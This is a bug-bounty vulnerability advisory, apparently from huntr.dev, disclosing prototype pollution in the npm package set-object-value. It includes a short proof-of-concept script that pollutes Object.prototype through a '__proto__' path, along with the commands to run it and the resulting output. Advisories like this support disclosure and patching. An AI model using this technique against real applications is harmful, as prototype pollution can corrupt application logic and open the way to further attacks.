Lucene search

K
huntrReady-research1-NPM-SET-OBJECT-VALUE
HistoryJan 10, 2021 - 12:00 a.m.

Prototype Pollution in react-atomic/react-atomic-organism

2021-01-1000:00:00
ready-research
www.huntr.dev
13
vulnerability
set-object-value
prototype pollution
react-atomic/react-atomic-organism
proof of concept
npm
node
bugbounty

EPSS

0.012

Percentile

85.8%

Description

set-object-value is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var setObjectValue = require("set-object-value")
var obj = {}
console.log("Before : " + {}.polluted);
setObjectValue(obj, ['__proto__','polluted'], 'Yes! Its Polluted');
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i set-object-value # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

EPSS

0.012

Percentile

85.8%

Related for 1-NPM-SET-OBJECT-VALUE